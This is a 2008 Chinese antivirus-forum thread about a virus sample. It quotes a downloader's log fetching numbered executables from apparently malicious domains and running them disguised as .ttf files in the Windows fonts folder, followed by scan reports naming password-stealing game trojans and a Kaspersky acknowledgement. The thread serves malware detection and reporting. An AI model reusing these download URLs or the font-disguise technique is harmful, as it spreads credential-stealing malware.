毒？？

显示全部楼层 · 发表于 2008-4-23 20:40:19

毒？？

显示全部楼层 · 发表于 2008-4-23 20:41:58

不是

显示全部楼层 · 发表于 2008-4-23 20:52:12

download http://xin.zuoyouweinan.com/n.txt successed, save path C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp\nctfub1.tmp
line 644 continued
start download http://1.wudizhongguo.com/ma/1.exe, save path C:\WINDOWS\fonts\micross0.ttf
execute file C:\WINDOWS\fonts\micross0.ttf .
execute C:\WINDOWS\fonts\micross0.ttf successed,
start download http://1.wudizhongguo.com/ma/2.exe, save path C:\WINDOWS\fonts\micross1.ttf
execute file C:\WINDOWS\fonts\micross1.ttf .
execute C:\WINDOWS\fonts\micross1.ttf successed,
start download http://1.wudizhongguo.com/ma/3.exe, save path C:\WINDOWS\fonts\micross2.ttf
execute file C:\WINDOWS\fonts\micross2.ttf .
execute C:\WINDOWS\fonts\micross2.ttf successed,
start download http://1.wudizhongguo.com/ma/4.exe, save path C:\WINDOWS\fonts\micross3.ttf
execute file C:\WINDOWS\fonts\micross3.ttf .
execute C:\WINDOWS\fonts\micross3.ttf successed,
start download http://1.wudizhongguo.com/ma/5.exe, save path C:\WINDOWS\fonts\micross4.ttf
execute file C:\WINDOWS\fonts\micross4.ttf .
execute C:\WINDOWS\fonts\micross4.ttf successed,
start download http://1.wudizhongguo.com/ma/6.exe, save path C:\WINDOWS\fonts\micross5.ttf
execute file C:\WINDOWS\fonts\micross5.ttf .
execute C:\WINDOWS\fonts\micross5.ttf successed,
start download http://1.wudizhongguo.com/ma/7.exe, save path C:\WINDOWS\fonts\micross6.ttf
execute file C:\WINDOWS\fonts\micross6.ttf .
execute C:\WINDOWS\fonts\micross6.ttf successed,
start download http://1.wudizhongguo.com/ma/8.exe, save path C:\WINDOWS\fonts\micross7.ttf
execute file C:\WINDOWS\fonts\micross7.ttf .
execute C:\WINDOWS\fonts\micross7.ttf successed,
start download http://1.wudizhongguo.com/ma/9.exe, save path C:\WINDOWS\fonts\micross8.ttf
execute file C:\WINDOWS\fonts\micross8.ttf .
open execute file C:\WINDOWS\fonts\micross8.ttf failed
start download http://1.wudizhongguo.com/ma/10.exe, save path C:\WINDOWS\fonts\micross9.ttf
execute file C:\WINDOWS\fonts\micross9.ttf .
execute C:\WINDOWS\fonts\micross9.ttf successed,
start download http://2.wudizhongguo.com/ma/11.exe, save path C:\WINDOWS\fonts\micross10.ttf
execute file C:\WINDOWS\fonts\micross10.ttf .
execute C:\WINDOWS\fonts\micross10.ttf successed,
start download http://2.wudizhongguo.com/ma/12.exe, save path C:\WINDOWS\fonts\micross11.ttf
execute file C:\WINDOWS\fonts\micross11.ttf .
execute C:\WINDOWS\fonts\micross11.ttf successed,
start download http://2.wudizhongguo.com/ma/13.exe, save path C:\WINDOWS\fonts\micross12.ttf
execute file C:\WINDOWS\fonts\micross12.ttf .
open execute file C:\WINDOWS\fonts\micross12.ttf failed
start download http://2.wudizhongguo.com/ma/14.exe, save path C:\WINDOWS\fonts\micross13.ttf
execute file C:\WINDOWS\fonts\micross13.ttf .
execute C:\WINDOWS\fonts\micross13.ttf successed,
start download http://2.wudizhongguo.com/ma/15.exe, save path C:\WINDOWS\fonts\micross14.ttf
execute file C:\WINDOWS\fonts\micross14.ttf .
execute C:\WINDOWS\fonts\micross14.ttf successed,
start download http://2.wudizhongguo.com/ma/16.exe, save path C:\WINDOWS\fonts\micross15.ttf
execute file C:\WINDOWS\fonts\micross15.ttf .
execute C:\WINDOWS\fonts\micross15.ttf successed,
start download http://2.wudizhongguo.com/ma/17.exe, save path C:\WINDOWS\fonts\micross16.ttf
execute file C:\WINDOWS\fonts\micross16.ttf .
execute C:\WINDOWS\fonts\micross16.ttf successed,
start download http://2.wudizhongguo.com/ma/18.exe, save path C:\WINDOWS\fonts\micross17.ttf
execute file C:\WINDOWS\fonts\micross17.ttf .
execute C:\WINDOWS\fonts\micross17.ttf successed,
start download http://2.wudizhongguo.com/ma/19.exe, save path C:\WINDOWS\fonts\micross18.ttf
execute file C:\WINDOWS\fonts\micross18.ttf .
execute C:\WINDOWS\fonts\micross18.ttf successed,
start download http://2.wudizhongguo.com/ma/20.exe, save path C:\WINDOWS\fonts\micross19.ttf
execute file C:\WINDOWS\fonts\micross19.ttf .
execute C:\WINDOWS\fonts\micross19.ttf successed,
start download http://2.wudizhongguo.com/ma/21.exe, save path C:\WINDOWS\fonts\micross20.ttf
execute file C:\WINDOWS\fonts\micross20.ttf .
open execute file C:\WINDOWS\fonts\micross20.ttf failed
start download http://2.wudizhongguo.com/ma/22.exe, save path C:\WINDOWS\fonts\micross21.ttf
execute file C:\WINDOWS\fonts\micross21.ttf .
execute C:\WINDOWS\fonts\micross21.ttf successed,
start download http://2.wudizhongguo.com/ma/23.exe, save path C:\WINDOWS\fonts\micross22.ttf
execute file C:\WINDOWS\fonts\micross22.ttf .
execute C:\WINDOWS\fonts\micross22.ttf successed,
line 636 returned

显示全部楼层 · 发表于 2008-4-23 20:54:35

显示全部楼层 · 发表于 2008-4-23 20:55:27

Virus or unwanted program 'TR/Spy.Gen [trojan]'
detected in file 'C:\Documents and Settings\haha\Local Settings\Temporary Internet Files\Content.IE5\AEC8ZO8H\1[1].exe.
Action performed: Delete file

显示全部楼层 · 发表于 2008-4-23 20:56:36

已刪除: 特洛伊木馬程式 Trojan.Win32.Agent.kmo 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__ECE2C.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.abmx 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__17419.exe//PE_Patch.UPX//UPX
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.Agent.ahj 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__1887B.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.abmx 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__263C4.exe//PE_Patch.UPX//UPX
已刪除: 特洛伊木馬程式 Trojan.Win32.Agent.kmo 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__26709.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan.Win32.Agent.kqv 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__2DA4D.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.ably 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__3E3AA.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.yzt 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__43E70.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.yzt 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__49A87.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.aajs 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__4C3AF.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.zjk 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__65972.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan.Win32.Agent.kmo 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__798DE.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.abcw 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__8AC29.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.aayo 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__8FEC5.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.abiu 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__9376D.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.aayo 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__9DF48.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.aayo 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__AA032.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan.Win32.Agent.kmo 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__C9B3C.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.aajs 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__CCB5B.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.yzt 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__D6485.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.Lmir.bpv 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__E6666.exe//PE_Patch//UPack
已刪除: 特洛伊木馬程式 Trojan-PSW.Win32.OnLineGames.abcw 檔案: C:\Documents and Settings\kato9096\桌面\複製 -dd.rar/2008-4-23__EA638.exe//PE_Patch//UPack

上报卡巴

Hello.
New malicious software was found in the attached file.
Its detection will be included in the next update. Thank you for your help.
-----------------
Regards, Vladimir Lebedev
Virus Analyst, Kaspersky Lab.

Ph.: +7(095) 797-8700
E-mail: newvirus@kaspersky.com
http://www.kaspersky.com http://www.viruslist.com

[ 本帖最后由 kato9096 于 2008-4-24 11:50 编辑 ]

显示全部楼层 · 发表于 2008-4-23 21:02:21

360safe报２１

显示全部楼层 · 发表于 2008-4-23 21:04:39

3楼和4楼下載下來的文件名不一样??

显示全部楼层 · 发表于 2008-4-23 21:24:24

瑞星病毒查杀结果报告

清除病毒种类列表：

病毒： Trojan.PSW.Win32.GameOL.nas
病毒： Trojan.PSW.Win32.GameOL.ncu
病毒： Trojan.PSW.Win32.XYOnline.acy
病毒： Packer.Win32.Upack.a
病毒： Trojan.PSW.Win32.GameOL.myf
病毒： Trojan.PSW.Win32.SunOnline.nl
病毒： Trojan.PSW.Win32.GamesOnline.fz

MAC 地址：00:11:5B:F3:6D:69

用户来源：互联网

软件版本：20.41.22

显示全部楼层 · 发表于 2008-4-23 21:27:19

[Scanning : C:\Documents and Settings\All Users\Documents\Test]

C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__17419.exe <- Trojan.Psw.Onlinegames.Abmx : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__17419.exe<UPX>:2008-4-23__17419.exe<DLLRES>:res0.exe <- Trojan.Psw.Onlinegames.Abmx : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__17419.exe<UPX>:2008-4-23__17419.exe<DLLRES>:res0.exe<DLLRES>:res0.exe <- Trojan.Psw.Onlinegames.Abmx : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__263C4.exe<UPX>:2008-4-23__263C4.exe<DLLRES>:res0.exe<DLLRES>:res0.exe <- Trojan.Psw.Onlinegames.Abmx : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__3E3AA.exe <- Trojan.Psw.Onlinegames.Ably : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__43E70.exe <- Trojan.Psw.Onlinegames.Yzt : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__65972.exe<UPack>:2008-4-23__65972.exe <- Trojan.Psw.Onlinegames.Zjk : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__65972.exe<UPack>:2008-4-23__65972.exe<DLLRES>:res0.exe<UPack>:res0.exe <- Trojan.Psw.Onlinegames.Zjk : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__65972.exe<UPack>:2008-4-23__65972.exe<DLLRES>:res1.exe <- Trojan.Psw.Onlinegames.Zjk : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__8AC29.exe <- Trojan.Psw.Onlinegames.Abcw : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__8FEC5.exe <- Trojan.Psw.Onlinegames.Aayo : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__9376D.exe<UPack>:2008-4-23__9376D.exe<DLLRES>:res0.exe <- Trojan.Psw.Onlinegames.Abne : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__9376D.exe<UPack>:2008-4-23__9376D.exe<DLLRES>:res1.exe <- Trojan.Psw.Onlinegames.Abis : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__9DF48.exe <- Trojan.Psw.Onlinegames.Aayo : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__CCB5B.exe <- Trojan.Psw.Onlinegames.Aajs : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__E6666.exe<UPack>:2008-4-23__E6666.exe <- Trojan.Psw.Lmir.Bpc : No action
C:\Documents and Settings\All Users\Documents\Test\dd.rar<RAR>:2008-4-23__E6666.exe<UPack>:2008-4-23__E6666.exe<DLLRES>:J9996660.exe <- Trojan.Psw.Onlinegames.Aanl : No action

Scanned objects : 48

Infected objects : 17

[病毒样本] 毒？？

本帖子中包含更多资源

本帖子中包含更多资源

回复 4楼 qianwenxiang 的帖子

回复 4楼 qianwenxiang 的帖子

回复 4楼 qianwenxiang 的帖子

浏览过的版块